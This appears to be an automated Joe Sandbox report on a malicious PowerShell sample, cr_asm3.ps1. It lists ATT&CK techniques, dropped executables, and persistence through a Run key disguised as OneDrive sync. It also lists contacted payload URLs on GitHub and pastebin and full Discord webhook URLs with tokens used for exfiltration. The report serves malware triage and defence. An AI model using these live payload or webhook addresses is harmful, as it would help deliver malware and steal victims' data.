Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe

Code function: 6_2_00007FFB226551B0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

6_2_00007FFB226551B0

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	111 Windows Management Instrumentation	11 Registry Run Keys / Startup Folder	111 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 PowerShell	1 DLL Side-Loading	11 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	151 Virtualization/Sandbox Evasion	Security Account Manager	151 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	24 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
cr_asm3.ps1	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\Backend.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV21C:	0%	URL Reputation	safe
https://g.live.com/odclientsettings/Prod1C:	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
discord.com	162.159.138.232	true	true	unknown
raw.githubusercontent.com	185.199.109.133	true	true	unknown
pastebin.com	104.20.3.235	true	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/Backend.dll	false	unknown
https://discord.com/api/webhooks/1284710807871033355/x0K3Voa94DlgTs4VQWHyks9bUB8i5Uipo6HRW6lKUeKFJpTODgkBqgFx7seLHmsLq996	true	unknown
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/FH5.exe	false	unknown
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt	false	unknown
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt	false	unknown
https://discord.com/api/webhooks/1295751966227566694/ZDOwsWbEeGMPmjLUQsSudsSfhqvBoNBR93K3nrkS5aL7Ewva-6hqlEBSmLu1WVR5cEN5	true	unknown
http://pastebin.com/raw/sA04Mwk2	false	unknown
https://pastebin.com/raw/sA04Mwk2	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://discord.com/api/webhooks/1295751966227566694/ZDOwsWbEeGM	powershell.exe, 0000000C.00000002.1701038367.0000029200B8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080EB8000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1538018702.0000026CA1531000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1538018702.0000026CA1674000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com	powershell.exe, 00000001.00000002.1510210225.0000026C91D65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.00000292014AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.000002408179C000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1510210225.0000026C91749000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1510210225.0000026C91749000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000001.00000002.1510210225.0000026C92C00000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.000002920050A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.00000240807FA000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://discord.com/api/webhooks/129575196622756	powershell.exe, 0000000C.00000002.1701038367.00000292014AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.000002408179C000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://contoso.com/License	powershell.exe, 00000001.00000002.1538018702.0000026CA1674000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1538018702.0000026CA1674000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://raw.githubusercont	powershell.exe, 00000001.00000002.1510210225.0000026C92C00000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000007.00000003.1367837796.000001F0D2BE0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 00000007.00000002.2554051222.000001F0D2E0F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://discord.com	powershell.exe, 00000001.00000002.1510210225.0000026C91D65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.00000292014AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.000002408179C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1510210225.0000026C91749000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.microsoftp	powershell.exe, 00000011.00000002.1846302686.0000024098480000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/Prod1C:	edb.log.7.dr	false	URL Reputation: safe	unknown
https://raw.githubusercontent.com	powershell.exe, 00000001.00000002.1510210225.0000026C93175000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1510210225.0000026C92C00000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1510210225.0000026C91749000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200B26000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080E16000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://discord.com/api/webhooks/1295751966227566694/ZDOwsWbEeGMPmjLUQsSudsSfhqvBoNBR93K3nrkS5aL7Ewv	powershell.exe, 00000011.00000002.1773538760.0000024080EB8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080D88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080EB4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080E82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.000002408179C000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://contoso.com/	powershell.exe, 00000001.00000002.1538018702.0000026CA1674000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1538018702.0000026CA1531000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1538018702.0000026CA1674000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://raw.githubusercontent.com	powershell.exe, 00000001.00000002.1510210225.0000026C9313B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200B26000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200AF7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080DE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080E16000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://discord.com/api/webhooks/1284710807871033355/x0K3Voa94DlgTs4VQWHyks9bUB8i5Uipo6HRW6lKUeKFJpT	powershell.exe, 00000001.00000002.1510210225.0000026C916E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1510210225.0000026C91D65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1510210225.0000026C91749000.00000004.00000800.00020000.00000000.sdmp, cr_asm3.ps1	false		unknown
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/Photoshop_Set-Up.exe	powershell.exe, 00000001.00000002.1510210225.0000026C916E7000.00000004.00000800.00020000.00000000.sdmp, cr_asm3.ps1	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1510210225.0000026C914C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200049000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.000002920005D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.000002408034C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080339000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1510210225.0000026C914C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080373000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pastebin.com	powershell.exe, 0000000C.00000002.1701038367.000002920050A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200A5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1701038367.0000029200A76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080D68000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080D4E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.00000240807FA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://pastebin.com	powershell.exe, 0000000C.00000002.1701038367.0000029200A66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1773538760.0000024080D58000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/OneDriveFileSync.dll	powershell.exe, 00000001.00000002.1510210225.0000026C916E7000.00000004.00000800.00020000.00000000.sdmp, cr_asm3.ps1	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.20.3.235	pastebin.com	United States	13335	CLOUDFLARENETUS	true
162.159.138.232	discord.com	United States	13335	CLOUDFLARENETUS	true
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1534234
Start date and time:	2024-10-15 18:07:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	cr_asm3.ps1
Detection:	MAL
Classification:	mal96.troj.expl.evad.winPS1@23/27@3/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 90% Number of executed functions: 25 Number of non-executed functions: 22
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27
Excluded domains from analysis (whitelisted): fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, time.windows.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: cr_asm3.ps1

Simulations

Behavior and APIs

Time	Type	Description
12:08:07	API Interceptor	388x Sleep call for process: powershell.exe modified
12:08:12	API Interceptor	2x Sleep call for process: svchost.exe modified
18:08:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run OneDrive File Sync "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"
18:08:21	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run OneDrive File Sync "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.3.235	gabe.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_atCAD.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	5UIy3bo46y.dll	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	sostener.vbs	Get hash	malicious	Njrat	Browse	pastebin.com/raw/V9y5Q5vv
	SX8OLQP63C.exe	Get hash	malicious	VjW0rm, AsyncRAT, RATDispenser	Browse	pastebin.com/raw/V9y5Q5vv
162.159.138.232	cr_asm.ps1	Get hash	malicious	Unknown	Browse
	VvPrGsGGWH.exe	Get hash	malicious	AsyncRAT, XWorm	Browse
	xK44OOt7vD.exe	Get hash	malicious	Unknown	Browse
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse
	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse
	cr_asm.ps1	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.20317.810.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discord.com	gabe.ps1	Get hash	malicious	Unknown	Browse	162.159.137.232
	aidjBV.ps1	Get hash	malicious	Unknown	Browse	162.159.135.232
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	162.159.138.232
	cr_asm_atCAD.ps1	Get hash	malicious	Unknown	Browse	162.159.136.232
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	162.159.128.233
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	162.159.136.232
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	162.159.136.232
	VvPrGsGGWH.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	162.159.138.232
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	5UIy3bo46y.dll	Get hash	malicious	Unknown	Browse	162.159.128.233
raw.githubusercontent.com	gabe.ps1	Get hash	malicious	Unknown	Browse	185.199.109.133
	aidjBV.ps1	Get hash	malicious	Unknown	Browse	185.199.110.133
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	185.199.108.133
	cr_asm_atCAD.ps1	Get hash	malicious	Unknown	Browse	185.199.110.133
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	185.199.111.133
	na.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	185.199.109.133
	65567 DHL 647764656798860.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	185.199.109.133
	Request for Order Confirmation.js	Get hash	malicious	Unknown	Browse	185.199.110.133
	RrEf8Rui72.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	Untitled_15-10-04.xls	Get hash	malicious	Remcos	Browse	185.199.108.133
pastebin.com	gabe.ps1	Get hash	malicious	Unknown	Browse	104.20.3.235
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	104.20.3.235
	cr_asm_atCAD.ps1	Get hash	malicious	Unknown	Browse	104.20.3.235
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	104.20.4.235
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
	VvPrGsGGWH.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.19.24
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	5UIy3bo46y.dll	Get hash	malicious	Unknown	Browse	104.20.3.235
	HQsitBLlOv.dll	Get hash	malicious	Unknown	Browse	104.20.4.235

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	gabe.ps1	Get hash	malicious	Unknown	Browse	104.20.4.235
	aidjBV.ps1	Get hash	malicious	Unknown	Browse	162.159.135.232
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	162.159.138.232
	cr_asm_atCAD.ps1	Get hash	malicious	Unknown	Browse	162.159.136.232
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	162.159.135.232
	cyCsE47YV3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	RemotePCViewer.exe	Get hash	malicious	Unknown	Browse	172.67.37.123
